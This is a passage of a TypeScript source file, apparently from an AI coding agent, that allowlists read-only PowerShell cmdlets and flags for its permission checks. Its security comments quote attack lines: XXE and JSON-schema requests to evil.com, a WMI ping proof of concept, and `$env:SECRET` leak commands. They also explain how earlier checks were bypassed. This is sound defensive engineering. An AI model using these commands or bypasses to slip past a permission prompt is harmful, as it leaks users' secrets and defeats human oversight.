source dump of claude code
at main 1823 lines 67 kB view raw
1/** 2 * PowerShell read-only command validation. 3 * 4 * Cmdlets are case-insensitive; all matching is done in lowercase. 5 */ 6 7import type { 8 ParsedCommandElement, 9 ParsedPowerShellCommand, 10} from '../../utils/powershell/parser.js' 11 12type ParsedStatement = ParsedPowerShellCommand['statements'][number] 13 14import { getPlatform } from '../../utils/platform.js' 15import { 16 COMMON_ALIASES, 17 deriveSecurityFlags, 18 getPipelineSegments, 19 isNullRedirectionTarget, 20 isPowerShellParameter, 21} from '../../utils/powershell/parser.js' 22import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js' 23import { 24 DOCKER_READ_ONLY_COMMANDS, 25 EXTERNAL_READONLY_COMMANDS, 26 GH_READ_ONLY_COMMANDS, 27 GIT_READ_ONLY_COMMANDS, 28 validateFlags, 29} from '../../utils/shell/readOnlyCommandValidation.js' 30import { COMMON_PARAMETERS } from './commonParameters.js' 31 32const DOTNET_READ_ONLY_FLAGS = new Set([ 33 '--version', 34 '--info', 35 '--list-runtimes', 36 '--list-sdks', 37]) 38 39type CommandConfig = { 40 /** Safe subcommands or flags for this command */ 41 safeFlags?: string[] 42 /** 43 * When true, all flags are allowed regardless of safeFlags. 44 * Use for commands whose entire flag surface is read-only (e.g., hostname). 45 * Without this, an empty/missing safeFlags rejects all flags (positional 46 * args only). 47 */ 48 allowAllFlags?: boolean 49 /** Regex constraint on the original command */ 50 regex?: RegExp 51 /** Additional validation callback - returns true if command is dangerous */ 52 additionalCommandIsDangerousCallback?: ( 53 command: string, 54 element?: ParsedCommandElement, 55 ) => boolean 56} 57 58/** 59 * Shared callback for cmdlets that print or coerce their args to stdout/ 60 * stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep 61 * $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...' 62 * to System.Double"). Bash's echo regex WHITELISTS safe chars per token. 63 * 64 * Two checks: 65 * 1. elementTypes whitelist — StringConstant (literals) + Parameter (flag 66 * names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/ 67 * BinaryExpressionAst all map to Other), ScriptBlock, SubExpression, 68 * ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES. 69 * 2. Colon-bound parameter value — `-InputObject:$env:SECRET` creates a 70 * SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument 71 * child, not a separate CommandElement. elementTypes = [..., 'Parameter'], 72 * whitelist passes. Query children[] for the .Argument's mapped type; 73 * anything other than StringConstant (Variable, ParenExpression wrapping 74 * arbitrary pipelines, Hashtable, etc.) is a leak vector. 75 */ 76export function argLeaksValue( 77 _cmd: string, 78 element?: ParsedCommandElement, 79): boolean { 80 const argTypes = (element?.elementTypes ?? []).slice(1) 81 const args = element?.args ?? [] 82 const children = element?.children 83 for (let i = 0; i < argTypes.length; i++) { 84 if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') { 85 // ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' — the 86 // parse script only populates children for CommandParameterAst.Argument, 87 // so we can't inspect elements. Fall back to string-archaeology on the 88 // extent text: Hashtable has `@{`, ParenExpr has `(`, variables have 89 // `$`, type literals have `[`, scriptblocks have `{`. A comma-list of 90 // bare identifiers has none. `Name, $x` still rejects on `$`. 91 if (!/[$(@{[]/.test(args[i] ?? '')) { 92 continue 93 } 94 return true 95 } 96 if (argTypes[i] === 'Parameter') { 97 const paramChildren = children?.[i] 98 if (paramChildren) { 99 if (paramChildren.some(c => c.type !== 'StringConstant')) { 100 return true 101 } 102 } else { 103 // Fallback: string-archaeology on arg text (pre-children parsers). 104 // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array 105 // sub), `{` (scriptblock), `[` (type literal/static method). 106 const arg = args[i] ?? '' 107 const colonIdx = arg.indexOf(':') 108 if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) { 109 return true 110 } 111 } 112 } 113 } 114 return false 115} 116 117/** 118 * Allowlist of PowerShell cmdlets that are considered read-only. 119 * Each cmdlet maps to its configuration including safe flags. 120 * 121 * Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase 122 * and normalize input for matching. 123 * 124 * Uses Object.create(null) to prevent prototype-chain pollution — attacker- 125 * controlled command names like 'constructor' or '__proto__' must return 126 * undefined, not inherited Object.prototype properties. Same defense as 127 * COMMON_ALIASES in parser.ts. 128 */ 129export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign( 130 Object.create(null) as Record<string, CommandConfig>, 131 { 132 // ========================================================================= 133 // PowerShell Cmdlets - Filesystem (read-only) 134 // ========================================================================= 135 'get-childitem': { 136 safeFlags: [ 137 '-Path', 138 '-LiteralPath', 139 '-Filter', 140 '-Include', 141 '-Exclude', 142 '-Recurse', 143 '-Depth', 144 '-Name', 145 '-Force', 146 '-Attributes', 147 '-Directory', 148 '-File', 149 '-Hidden', 150 '-ReadOnly', 151 '-System', 152 ], 153 }, 154 'get-content': { 155 safeFlags: [ 156 '-Path', 157 '-LiteralPath', 158 '-TotalCount', 159 '-Head', 160 '-Tail', 161 '-Raw', 162 '-Encoding', 163 '-Delimiter', 164 '-ReadCount', 165 ], 166 }, 167 'get-item': { 168 safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'], 169 }, 170 'get-itemproperty': { 171 safeFlags: ['-Path', '-LiteralPath', '-Name'], 172 }, 173 'test-path': { 174 safeFlags: [ 175 '-Path', 176 '-LiteralPath', 177 '-PathType', 178 '-Filter', 179 '-Include', 180 '-Exclude', 181 '-IsValid', 182 '-NewerThan', 183 '-OlderThan', 184 ], 185 }, 186 'resolve-path': { 187 safeFlags: ['-Path', '-LiteralPath', '-Relative'], 188 }, 189 'get-filehash': { 190 safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'], 191 }, 192 'get-acl': { 193 safeFlags: [ 194 '-Path', 195 '-LiteralPath', 196 '-Audit', 197 '-Filter', 198 '-Include', 199 '-Exclude', 200 ], 201 }, 202 203 // ========================================================================= 204 // PowerShell Cmdlets - Navigation (read-only, just changes working directory) 205 // ========================================================================= 206 'set-location': { 207 safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'], 208 }, 209 'push-location': { 210 safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'], 211 }, 212 'pop-location': { 213 safeFlags: ['-PassThru', '-StackName'], 214 }, 215 216 // ========================================================================= 217 // PowerShell Cmdlets - Text searching/filtering (read-only) 218 // ========================================================================= 219 'select-string': { 220 safeFlags: [ 221 '-Path', 222 '-LiteralPath', 223 '-Pattern', 224 '-InputObject', 225 '-SimpleMatch', 226 '-CaseSensitive', 227 '-Quiet', 228 '-List', 229 '-NotMatch', 230 '-AllMatches', 231 '-Encoding', 232 '-Context', 233 '-Raw', 234 '-NoEmphasis', 235 ], 236 }, 237 238 // ========================================================================= 239 // PowerShell Cmdlets - Data conversion (pure transforms, no side effects) 240 // ========================================================================= 241 'convertto-json': { 242 safeFlags: [ 243 '-InputObject', 244 '-Depth', 245 '-Compress', 246 '-EnumsAsStrings', 247 '-AsArray', 248 ], 249 }, 250 'convertfrom-json': { 251 safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'], 252 }, 253 'convertto-csv': { 254 safeFlags: [ 255 '-InputObject', 256 '-Delimiter', 257 '-NoTypeInformation', 258 '-NoHeader', 259 '-UseQuotes', 260 ], 261 }, 262 'convertfrom-csv': { 263 safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'], 264 }, 265 'convertto-xml': { 266 safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'], 267 }, 268 'convertto-html': { 269 safeFlags: [ 270 '-InputObject', 271 '-Property', 272 '-Head', 273 '-Title', 274 '-Body', 275 '-Pre', 276 '-Post', 277 '-As', 278 '-Fragment', 279 ], 280 }, 281 'format-hex': { 282 safeFlags: [ 283 '-Path', 284 '-LiteralPath', 285 '-InputObject', 286 '-Encoding', 287 '-Count', 288 '-Offset', 289 ], 290 }, 291 292 // ========================================================================= 293 // PowerShell Cmdlets - Object inspection and manipulation (read-only) 294 // ========================================================================= 295 'get-member': { 296 safeFlags: [ 297 '-InputObject', 298 '-MemberType', 299 '-Name', 300 '-Static', 301 '-View', 302 '-Force', 303 ], 304 }, 305 'get-unique': { 306 safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'], 307 }, 308 'compare-object': { 309 safeFlags: [ 310 '-ReferenceObject', 311 '-DifferenceObject', 312 '-Property', 313 '-SyncWindow', 314 '-CaseSensitive', 315 '-Culture', 316 '-ExcludeDifferent', 317 '-IncludeEqual', 318 '-PassThru', 319 ], 320 }, 321 // SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can 322 // trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content 323 // or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM 324 // "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request. 325 // PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by 326 // default. Removal forces prompt. 327 'join-string': { 328 safeFlags: [ 329 '-InputObject', 330 '-Property', 331 '-Separator', 332 '-OutputPrefix', 333 '-OutputSuffix', 334 '-SingleQuote', 335 '-DoubleQuote', 336 '-FormatString', 337 ], 338 }, 339 // SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema 340 // with $ref pointing to external URLs — Test-Json fetches them (network 341 // request). safeFlags only validates EXPLICIT flags, not positional binding: 342 // `Test-Json '{}' '{"$ref":"http://evil.com"}'` → position 1 binds to 343 // -Schema → safeFlags check sees two non-flag args, skips both → auto-allow. 344 'get-random': { 345 safeFlags: [ 346 '-InputObject', 347 '-Minimum', 348 '-Maximum', 349 '-Count', 350 '-SetSeed', 351 '-Shuffle', 352 ], 353 }, 354 355 // ========================================================================= 356 // PowerShell Cmdlets - Path utilities (read-only) 357 // ========================================================================= 358 // convert-path's entire purpose is to resolve filesystem paths. It is now 359 // in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only 360 // list the path parameters (which CMDLET_PATH_CONFIG will validate). 361 'convert-path': { 362 safeFlags: ['-Path', '-LiteralPath'], 363 }, 364 'join-path': { 365 // -Resolve removed: it touches the filesystem to verify the joined path 366 // exists, but the path was not validated against allowed directories. 367 // Without -Resolve, Join-Path is pure string manipulation. 368 safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'], 369 }, 370 'split-path': { 371 // -Resolve removed: same rationale as join-path. Without -Resolve, 372 // Split-Path is pure string manipulation. 373 safeFlags: [ 374 '-Path', 375 '-LiteralPath', 376 '-Qualifier', 377 '-NoQualifier', 378 '-Parent', 379 '-Leaf', 380 '-LeafBase', 381 '-Extension', 382 '-IsAbsolute', 383 ], 384 }, 385 386 // ========================================================================= 387 // PowerShell Cmdlets - Additional system info (read-only) 388 // ========================================================================= 389 // NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive 390 // data like passwords or API keys that the user may have copied. Bash also 391 // does not auto-allow clipboard commands (pbpaste, xclip, etc.). 392 'get-hotfix': { 393 safeFlags: ['-Id', '-Description'], 394 }, 395 'get-itempropertyvalue': { 396 safeFlags: ['-Path', '-LiteralPath', '-Name'], 397 }, 398 'get-psprovider': { 399 safeFlags: ['-PSProvider'], 400 }, 401 402 // ========================================================================= 403 // PowerShell Cmdlets - Process/System info 404 // ========================================================================= 405 'get-process': { 406 safeFlags: [ 407 '-Name', 408 '-Id', 409 '-Module', 410 '-FileVersionInfo', 411 '-IncludeUserName', 412 ], 413 }, 414 'get-service': { 415 safeFlags: [ 416 '-Name', 417 '-DisplayName', 418 '-DependentServices', 419 '-RequiredServices', 420 '-Include', 421 '-Exclude', 422 ], 423 }, 424 'get-computerinfo': { 425 allowAllFlags: true, 426 }, 427 'get-host': { 428 allowAllFlags: true, 429 }, 430 'get-date': { 431 safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'], 432 }, 433 'get-location': { 434 safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'], 435 }, 436 'get-psdrive': { 437 safeFlags: ['-Name', '-PSProvider', '-Scope'], 438 }, 439 // SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0, 440 // ValueFromPipeline=true) triggers module autoload which runs .psm1 init 441 // code. Chain attack: pre-plant module in PSModulePath, trigger autoload. 442 // Previously tried removing -Name/-Module from safeFlags + rejecting 443 // positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`) 444 // bypasses the callback entirely since args are empty. Removal forces 445 // prompt. Users who need it can add explicit allow rule. 446 'get-module': { 447 safeFlags: [ 448 '-Name', 449 '-ListAvailable', 450 '-All', 451 '-FullyQualifiedName', 452 '-PSEdition', 453 ], 454 }, 455 // SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard 456 // as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses 457 // arg-level callback). Removal forces prompt. 458 'get-alias': { 459 safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'], 460 }, 461 'get-history': { 462 safeFlags: ['-Id', '-Count'], 463 }, 464 'get-culture': { 465 allowAllFlags: true, 466 }, 467 'get-uiculture': { 468 allowAllFlags: true, 469 }, 470 'get-timezone': { 471 safeFlags: ['-Name', '-Id', '-ListAvailable'], 472 }, 473 'get-uptime': { 474 allowAllFlags: true, 475 }, 476 477 // ========================================================================= 478 // PowerShell Cmdlets - Output & misc (no side effects) 479 // ========================================================================= 480 // Bash parity: `echo` is auto-allowed via custom regex (BashTool 481 // readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg. 482 // See argLeaksValue above for the three attack shapes it blocks. 483 'write-output': { 484 safeFlags: ['-InputObject', '-NoEnumerate'], 485 additionalCommandIsDangerousCallback: argLeaksValue, 486 }, 487 // Write-Host bypasses the pipeline (Information stream, PS5+), so it's 488 // strictly less capable than Write-Output — but the same 489 // `Write-Host $env:SECRET` leak-via-display applies. 490 'write-host': { 491 safeFlags: [ 492 '-Object', 493 '-NoNewline', 494 '-Separator', 495 '-ForegroundColor', 496 '-BackgroundColor', 497 ], 498 additionalCommandIsDangerousCallback: argLeaksValue, 499 }, 500 // Bash parity: `sleep` is in READONLY_COMMANDS (BashTool 501 // readOnlyValidation.ts:~1146). Zero side effects at runtime — but 502 // `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard. 503 'start-sleep': { 504 safeFlags: ['-Seconds', '-Milliseconds', '-Duration'], 505 additionalCommandIsDangerousCallback: argLeaksValue, 506 }, 507 // Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after 508 // security review found all accept calculated-property hashtables (same 509 // exploit as Where-Object — I4 regression). isSafeOutputCommand is a 510 // NAME-ONLY check that filtered them out of the approval loop BEFORE arg 511 // validation. Here, argLeaksValue validates args: 512 // | Format-Table → no args → safe → allow 513 // | Format-Table Name, CPU → StringConstant positionals → safe → allow 514 // | Format-Table $env:SECRET → Variable elementType → blocked → passthrough 515 // | Format-Table @{N='x';E={}} → Other (HashtableAst) → blocked → passthrough 516 // | Measure-Object -Property $env:SECRET → same → blocked 517 // allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/ 518 // ScriptBlock → blocked). Format-* flags themselves (-AutoSize, -GroupBy, 519 // -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags 520 // default rejects ALL flags — `Format-Table -AutoSize` would over-prompt. 521 'format-table': { 522 allowAllFlags: true, 523 additionalCommandIsDangerousCallback: argLeaksValue, 524 }, 525 'format-list': { 526 allowAllFlags: true, 527 additionalCommandIsDangerousCallback: argLeaksValue, 528 }, 529 'format-wide': { 530 allowAllFlags: true, 531 additionalCommandIsDangerousCallback: argLeaksValue, 532 }, 533 'format-custom': { 534 allowAllFlags: true, 535 additionalCommandIsDangerousCallback: argLeaksValue, 536 }, 537 'measure-object': { 538 allowAllFlags: true, 539 additionalCommandIsDangerousCallback: argLeaksValue, 540 }, 541 // Select-Object/Sort-Object/Group-Object/Where-Object: same calculated- 542 // property hashtable surface as format-* (about_Calculated_Properties). 543 // Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing 544 // `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles 545 // them identically: StringConstant property names pass (`Select-Object Name`), 546 // HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`, 547 // `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/ 548 // -Property/-EQ etc. are all selection/ordering flags — harmless on their own; 549 // argLeaksValue catches the dangerous arg *values*. 550 'select-object': { 551 allowAllFlags: true, 552 additionalCommandIsDangerousCallback: argLeaksValue, 553 }, 554 'sort-object': { 555 allowAllFlags: true, 556 additionalCommandIsDangerousCallback: argLeaksValue, 557 }, 558 'group-object': { 559 allowAllFlags: true, 560 additionalCommandIsDangerousCallback: argLeaksValue, 561 }, 562 'where-object': { 563 allowAllFlags: true, 564 additionalCommandIsDangerousCallback: argLeaksValue, 565 }, 566 // Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS — both accept 567 // -InputObject which leaks the same way Write-Output does. 568 // `Get-Process | Out-String -InputObject $env:SECRET` → secret prints. 569 // allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags; 570 // argLeaksValue catches the dangerous -InputObject *value*. 571 'out-string': { 572 allowAllFlags: true, 573 additionalCommandIsDangerousCallback: argLeaksValue, 574 }, 575 'out-host': { 576 allowAllFlags: true, 577 additionalCommandIsDangerousCallback: argLeaksValue, 578 }, 579 580 // ========================================================================= 581 // PowerShell Cmdlets - Network info (read-only) 582 // ========================================================================= 583 'get-netadapter': { 584 safeFlags: [ 585 '-Name', 586 '-InterfaceDescription', 587 '-InterfaceIndex', 588 '-Physical', 589 ], 590 }, 591 'get-netipaddress': { 592 safeFlags: [ 593 '-InterfaceIndex', 594 '-InterfaceAlias', 595 '-AddressFamily', 596 '-Type', 597 ], 598 }, 599 'get-netipconfiguration': { 600 safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'], 601 }, 602 'get-netroute': { 603 safeFlags: [ 604 '-InterfaceIndex', 605 '-InterfaceAlias', 606 '-AddressFamily', 607 '-DestinationPrefix', 608 ], 609 }, 610 'get-dnsclientcache': { 611 // SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to 612 // a remote host (network request). Previously empty config = all flags OK. 613 safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'], 614 }, 615 'get-dnsclient': { 616 safeFlags: ['-InterfaceIndex', '-InterfaceAlias'], 617 }, 618 619 // ========================================================================= 620 // PowerShell Cmdlets - Event log (read-only) 621 // ========================================================================= 622 'get-eventlog': { 623 safeFlags: [ 624 '-LogName', 625 '-Newest', 626 '-After', 627 '-Before', 628 '-EntryType', 629 '-Index', 630 '-InstanceId', 631 '-Message', 632 '-Source', 633 '-UserName', 634 '-AsBaseObject', 635 '-List', 636 ], 637 }, 638 'get-winevent': { 639 // SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML 640 // with DOCTYPE external entities (XXE → network request). -FilterHashtable 641 // would be caught by the elementTypes 'Other' check since @{} is 642 // HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml 643 // (removed above). -FilterXPath kept (string pattern only, no entity 644 // resolution). -ComputerName/-Credential also implicitly excluded. 645 safeFlags: [ 646 '-LogName', 647 '-ListLog', 648 '-ListProvider', 649 '-ProviderName', 650 '-Path', 651 '-MaxEvents', 652 '-FilterXPath', 653 '-Force', 654 '-Oldest', 655 ], 656 }, 657 658 // ========================================================================= 659 // PowerShell Cmdlets - WMI/CIM 660 // ========================================================================= 661 // SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively 662 // trigger network requests via classes like Win32_PingStatus (sends ICMP 663 // when enumerated) and can query remote computers via -ComputerName/ 664 // CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI 665 // classes/WQL that we cannot statically validate. 666 // PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"' 667 // → sends ICMP to evil.com (DNS leak + potential NTLM auth leak). 668 // WMI can also auto-load provider DLLs (init code). Removal forces prompt. 669 // get-cimclass stays — only lists class metadata, no instance enumeration. 670 'get-cimclass': { 671 safeFlags: [ 672 '-ClassName', 673 '-Namespace', 674 '-MethodName', 675 '-PropertyName', 676 '-QualifierName', 677 ], 678 }, 679 680 // ========================================================================= 681 // Git - uses shared external command validation with per-flag checking 682 // ========================================================================= 683 git: {}, 684 685 // ========================================================================= 686 // GitHub CLI (gh) - uses shared external command validation 687 // ========================================================================= 688 gh: {}, 689 690 // ========================================================================= 691 // Docker - uses shared external command validation 692 // ========================================================================= 693 docker: {}, 694 695 // ========================================================================= 696 // Windows-specific system commands 697 // ========================================================================= 698 ipconfig: { 699 // SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network 700 // (writes system config). safeFlags only validates FLAGS, positional args 701 // are SKIPPED. Reject any positional argument — only bare `ipconfig` or 702 // `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses 703 // /flags (display), macOS ipconfig uses subcommands (get/set/waitall). 704 safeFlags: ['/all', '/displaydns', '/allcompartments'], 705 additionalCommandIsDangerousCallback: ( 706 _cmd: string, 707 element?: ParsedCommandElement, 708 ) => { 709 return (element?.args ?? []).some( 710 a => !a.startsWith('/') && !a.startsWith('-'), 711 ) 712 }, 713 }, 714 netstat: { 715 safeFlags: [ 716 '-a', 717 '-b', 718 '-e', 719 '-f', 720 '-n', 721 '-o', 722 '-p', 723 '-q', 724 '-r', 725 '-s', 726 '-t', 727 '-x', 728 '-y', 729 ], 730 }, 731 systeminfo: { 732 safeFlags: ['/FO', '/NH'], 733 }, 734 tasklist: { 735 safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'], 736 }, 737 // where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via 738 // SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand. 739 // All flags are read-only (/R /F /T /Q), matching bash's treatment of `which` 740 // in BashTool READONLY_COMMANDS. 741 'where.exe': { 742 allowAllFlags: true, 743 }, 744 hostname: { 745 // SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to 746 // system config). `hostname -F FILE` / `--file=FILE` also sets from file. 747 // Only allow bare `hostname` and known read-only flags. 748 safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'], 749 additionalCommandIsDangerousCallback: ( 750 _cmd: string, 751 element?: ParsedCommandElement, 752 ) => { 753 // Reject any positional (non-flag) argument — sets hostname. 754 return (element?.args ?? []).some(a => !a.startsWith('-')) 755 }, 756 }, 757 whoami: { 758 safeFlags: [ 759 '/user', 760 '/groups', 761 '/claims', 762 '/priv', 763 '/logonid', 764 '/all', 765 '/fo', 766 '/nh', 767 ], 768 }, 769 ver: { 770 allowAllFlags: true, 771 }, 772 arp: { 773 safeFlags: ['-a', '-g', '-v', '-N'], 774 }, 775 route: { 776 safeFlags: ['print', 'PRINT', '-4', '-6'], 777 additionalCommandIsDangerousCallback: ( 778 _cmd: string, 779 element?: ParsedCommandElement, 780 ) => { 781 // SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`. 782 // The first non-flag positional is the verb. `route add 10.0.0.0 mask 783 // 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display 784 // modifier). The old check used args.some('print') which matched 'print' 785 // anywhere — position-insensitive. 786 if (!element) { 787 return true 788 } 789 const verb = element.args.find(a => !a.startsWith('-')) 790 return verb?.toLowerCase() !== 'print' 791 }, 792 }, 793 // netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR 794 // #22060 (verb position → dash flags → slash flags → more verbs) proved 795 // the grammar is too complex to allowlist safely: 3-deep context nesting 796 // (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f), 797 // script execution via -f and `exec`, remote RPC via -r, offline-mode 798 // commit, wlan connect/disconnect, etc. Each denylist expansion revealed 799 // another gap. `route` stays — `route print` is the only read-only form, 800 // simple single-verb-position grammar. 801 getmac: { 802 safeFlags: ['/FO', '/NH', '/V'], 803 }, 804 805 // ========================================================================= 806 // Cross-platform CLI tools 807 // ========================================================================= 808 // File inspection 809 // SECURITY: file -C compiles a magic database and WRITES to disk. Only 810 // allow introspection flags; reject -C / --compile / -m / --magic-file. 811 file: { 812 safeFlags: [ 813 '-b', 814 '--brief', 815 '-i', 816 '--mime', 817 '-L', 818 '--dereference', 819 '--mime-type', 820 '--mime-encoding', 821 '-z', 822 '--uncompress', 823 '-p', 824 '--preserve-date', 825 '-k', 826 '--keep-going', 827 '-r', 828 '--raw', 829 '-v', 830 '--version', 831 '-0', 832 '--print0', 833 '-s', 834 '--special-files', 835 '-l', 836 '-F', 837 '--separator', 838 '-e', 839 '-P', 840 '-N', 841 '--no-pad', 842 '-E', 843 '--extension', 844 ], 845 }, 846 tree: { 847 safeFlags: ['/F', '/A', '/Q', '/L'], 848 }, 849 findstr: { 850 safeFlags: [ 851 '/B', 852 '/E', 853 '/L', 854 '/R', 855 '/S', 856 '/I', 857 '/X', 858 '/V', 859 '/N', 860 '/M', 861 '/O', 862 '/P', 863 // Flag matching strips ':' before comparison (e.g., /C:pattern → /C), 864 // so these entries must NOT include the trailing colon. 865 '/C', 866 '/G', 867 '/D', 868 '/A', 869 ], 870 }, 871 872 // ========================================================================= 873 // Package managers - uses shared external command validation 874 // ========================================================================= 875 dotnet: {}, 876 877 // SECURITY: man and help direct entries REMOVED. They aliased Get-Help 878 // (also removed — see above). Without these entries, lookupAllowlist 879 // resolves via COMMON_ALIASES to 'get-help' which is not in allowlist → 880 // prompt. Same module-autoload hazard as Get-Help. 881 }, 882) 883 884/** 885 * Safe output/formatting cmdlets that can receive piped input. 886 * Stored as canonical cmdlet names in lowercase. 887 */ 888const SAFE_OUTPUT_CMDLETS = new Set([ 889 'out-null', 890 // NOT out-string/out-host — both accept -InputObject which leaks args the 891 // same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue. 892 // `Get-Process | Out-String -InputObject $env:SECRET` — Out-String was 893 // filtered name-only, the $env arg was never validated. 894 // out-null stays: it discards everything, no -InputObject leak. 895 // NOT foreach-object / where-object / select-object / sort-object / 896 // group-object / format-table / format-list / format-wide / format-custom / 897 // measure-object — ALL accept calculated-property hashtables or script-block 898 // predicates that evaluate arbitrary expressions at runtime 899 // (about_Calculated_Properties). Examples: 900 // Where-Object @{k=$env:SECRET} — HashtableAst arg, 'Other' elementType 901 // Select-Object @{N='x';E={...}} — calculated property scriptblock 902 // Format-Table $env:SECRET — positional -Property, prints as header 903 // Measure-Object -Property $env:SECRET — leaks via "property 'sk-...' not found" 904 // ForEach-Object { $env:PATH='e' } — arbitrary script body 905 // isSafeOutputCommand is a NAME-ONLY check — step-5 filters these out of 906 // the approval loop BEFORE arg validation runs. With them here, an 907 // all-safe-output tail auto-allows on empty subCommands regardless of 908 // what the arg contains. Removing them forces the tail through arg-level 909 // validation (hashtable is 'Other' elementType → fails the whitelist at 910 // isAllowlistedCommand → ask; bare $var is 'Variable' → same). 911 // 912 // NOT write-output — pipeline-initial $env:VAR is a VariableExpressionAst, 913 // skipped by getSubCommandsForPermissionCheck (non-CommandAst). With 914 // write-output here, `$env:SECRET | Write-Output` → WO filtered as 915 // safe-output → empty subCommands → auto-allow → secret prints. The 916 // CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`. 917]) 918 919/** 920 * Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with 921 * argLeaksValue. These are pipeline-tail transformers (Format-*, 922 * Measure-Object, Select-Object, etc.) that were previously name-only 923 * filtered as safe-output. They now require arg validation (argLeaksValue 924 * blocks calculated-property hashtables / scriptblocks / variable args). 925 * 926 * Used by isAllowlistedPipelineTail for the narrow fallback in 927 * checkPermissionMode and isReadOnlyCommand — these callers need the same 928 * "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with 929 * the argLeaksValue guard. 930 */ 931const PIPELINE_TAIL_CMDLETS = new Set([ 932 'format-table', 933 'format-list', 934 'format-wide', 935 'format-custom', 936 'measure-object', 937 'select-object', 938 'sort-object', 939 'group-object', 940 'where-object', 941 'out-string', 942 'out-host', 943]) 944 945/** 946 * External .exe names allowed past the nameType='application' gate. 947 * 948 * classifyCommandName returns 'application' for any name containing a dot, 949 * which the nameType gate at isAllowlistedCommand rejects before allowlist 950 * lookup. That gate exists to block scripts\Get-Process → stripModulePrefix → 951 * cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved 952 * .exe names like where.exe (bash `which` equivalent — pure read, no dangerous 953 * flags). 954 * 955 * SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name. 956 * stripModulePrefix collapses scripts\where.exe → cmd.name='where.exe', but 957 * cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's 958 * first token defeats that spoofing — only a bare `where.exe` (PATH lookup) 959 * gets through. 960 * 961 * Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag 962 * validation. 963 */ 964const SAFE_EXTERNAL_EXES = new Set(['where.exe']) 965 966/** 967 * Windows PATHEXT extensions that PowerShell resolves via PATH lookup. 968 * `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and 969 * must resolve to the same canonical name so git-safety guards fire. 970 * .ps1 is intentionally excluded — a script named git.ps1 is not the git 971 * binary and does not trigger git's hook mechanism. 972 */ 973const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/ 974 975/** 976 * Resolves a command name to its canonical cmdlet name using COMMON_ALIASES. 977 * Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free 978 * names so e.g. 